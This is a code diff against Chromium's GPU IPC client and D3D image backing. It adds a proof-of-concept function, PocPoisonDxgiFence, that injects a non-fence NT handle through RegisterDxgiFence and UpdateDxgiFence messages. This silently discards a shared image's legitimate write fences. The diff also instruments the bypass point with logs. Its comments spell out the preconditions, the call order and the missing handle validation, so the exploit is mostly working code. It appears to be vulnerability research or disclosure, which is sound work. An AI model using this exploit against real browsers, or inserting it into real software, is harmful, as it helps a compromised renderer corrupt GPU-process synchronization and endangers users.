diff --git a/gpu/ipc/client/shared_image_interface_proxy.cc b/gpu/ipc/client/shared_image_interface_proxy.cc --- a/gpu/ipc/client/shared_image_interface_proxy.cc +++ b/gpu/ipc/client/shared_image_interface_proxy.cc @@ -239,6 +239,63 @@ } #if BUILDFLAG(IS_WIN) +// === POC: GetPendingWaitFences error-return ambiguity === +// +// Simulates a compromised renderer poisoning a SharedImage's write_fences_ +// set with a non-D3D-fence NT handle. When the GPU process later performs +// the FIRST cross-device access on that mailbox, GetPendingWaitFences() +// enters its lazy-init branch, OpenSharedFence() fails on the bogus handle, +// and the function returns {} — indistinguishable to the caller from the +// "no synchronization needed" path. BeginAccessD3D11/BeginAccessDawn then +// proceed to BeginAccessCommon, which CLEARS write_fences_/read_fences_, +// discarding any legitimate pending GPU work. +// +// Preconditions for the target mailbox: +// - dxgi_shared_handle_state_ != nullptr +// - !has_keyed_mutex() (so use_cross_device_fence_synchronization() == true) +// - d3d11_signaled_fence_map_[texture_d3d11_device_] is null (first +// cross-device access has not yet occurred) +// +// Call PocPoisonDxgiFence(mailbox) AFTER issuing legitimate GPU writes to the +// texture but BEFORE the first cross-device read. The legitimate write fences +// will be silently dropped. +void SharedImageInterfaceProxy::PocPoisonDxgiFence(const Mailbox& mailbox) { + base::AutoLock lock(lock_); + + // Any non-D3D-fence NT handle works. Mojo's GpuFenceHandle traits perform + // no handle-type validation (see gpu_fence_handle_mojom_traits.cc:31-33), + // and D3DSharedFence::CreateFromScopedHandle (d3d_shared_fence.cc:130) + // simply wraps the handle without opening it. Validation is deferred until + // ID3D11Device5::OpenSharedFence is called inside WaitD3D11 — by which + // point GetPendingWaitFences has already mutated d3d11_signaled_fence_map_ + // and has no way to signal failure to its caller. + HANDLE bogus = ::CreateEventW(nullptr, TRUE, FALSE, nullptr); + CHECK(bogus); + + gfx::GpuFenceHandle fence_handle; + fence_handle.Adopt(base::win::ScopedHandle(bogus)); + + gfx::DXGIHandleToken poison_token; // fresh token, distinct from real fences + + // 1) RegisterDxgiFence: GPU stub stores the wrapped handle in its + // registered_dxgi_fences_ map. No D3D call is made yet. + last_flush_id_ = host_->EnqueueDeferredMessage( + mojom::DeferredRequestParams::NewSharedImageRequest( + mojom::DeferredSharedImageRequest::NewRegisterDxgiFence( + mojom::RegisterDxgiFenceParams::New( + mailbox, poison_token, std::move(fence_handle)))), + /*sync_token_fences=*/{}, /*release_count=*/0); + + // 2) UpdateDxgiFence: GPU stub calls SharedImageManager::UpdateExternalFence, + // which forwards to D3DImageBacking::UpdateExternalFence (line 985), + // inserting the poisoned D3DSharedFence into write_fences_. + last_flush_id_ = host_->EnqueueDeferredMessage( + mojom::DeferredRequestParams::NewSharedImageRequest( + mojom::DeferredSharedImageRequest::NewUpdateDxgiFence( + mojom::UpdateDxgiFenceParams::New( + mailbox, poison_token, /*fence_value=*/1))), + /*sync_token_fences=*/{}, /*release_count=*/0); +} + void SharedImageInterfaceProxy::CopyToGpuMemoryBufferAsync( const SyncToken& sync_token, const Mailbox& mailbox, diff --git a/gpu/ipc/client/shared_image_interface_proxy.h b/gpu/ipc/client/shared_image_interface_proxy.h --- a/gpu/ipc/client/shared_image_interface_proxy.h +++ b/gpu/ipc/client/shared_image_interface_proxy.h @@ -100,6 +100,9 @@ class SharedImageInterfaceProxy { scoped_refptr d3d_shared_fence, const Mailbox& mailbox); + + // POC: inject a non-D3D-fence NT handle into the backing's write_fences_. + void PocPoisonDxgiFence(const Mailbox& mailbox); #endif // BUILDFLAG(IS_WIN) void UpdateSharedImage(const SyncToken& sync_token, const Mailbox& mailbox); diff --git a/gpu/command_buffer/service/shared_image/d3d_image_backing.cc b/gpu/command_buffer/service/shared_image/d3d_image_backing.cc --- a/gpu/command_buffer/service/shared_image/d3d_image_backing.cc +++ b/gpu/command_buffer/service/shared_image/d3d_image_backing.cc @@ -1033,10 +1033,16 @@ D3DImageBacking::GetPendingWaitFences( } // Make D3D11 device wait for |write_fences_| since we'll replace it below. for (auto& fence : write_fences_) { if (!fence->WaitD3D11(texture_d3d11_device_)) { - LOG(ERROR) << "Failed to wait for write fence"; + // POC INSTRUMENTATION: this is the bypass point. The caller + // (BeginAccessD3D11 / BeginAccessDawn) cannot distinguish this {} + // from the no-sync-needed {} at line 1021, so it proceeds to + // BeginAccessCommon and clears all fences. + LOG(ERROR) << "POC-HIT: WaitD3D11 failed in lazy-init; returning {} " + << "with " << write_fences_.size() << " pending write fence(s) " + << "still un-waited. Caller will silently drop them."; return {}; } } if (!texture_device_fence->IncrementAndSignalD3D11()) { LOG(ERROR) << "Failed to signal D3D11 signal fence"; @@ -1396,6 +1402,11 @@ bool D3DImageBacking::BeginAccessD3D11( // Defer clearing fences until later to handle D3D11 failure to synchronize. std::vector> wait_fences = GetPendingWaitFences(d3d11_device, /*dawn_device=*/nullptr, write_access); + if (wait_fences.empty() && use_cross_device_fence_synchronization() && + d3d11_device != texture_d3d11_device_) { + LOG(ERROR) << "POC-HIT: cross-device BeginAccessD3D11 got zero wait " + << "fences; proceeding to BeginAccessCommon without sync."; + } for (auto& wait_fence : wait_fences) { if (!wait_fence->WaitD3D11(d3d11_device)) { LOG(ERROR) << "Failed to wait for fence";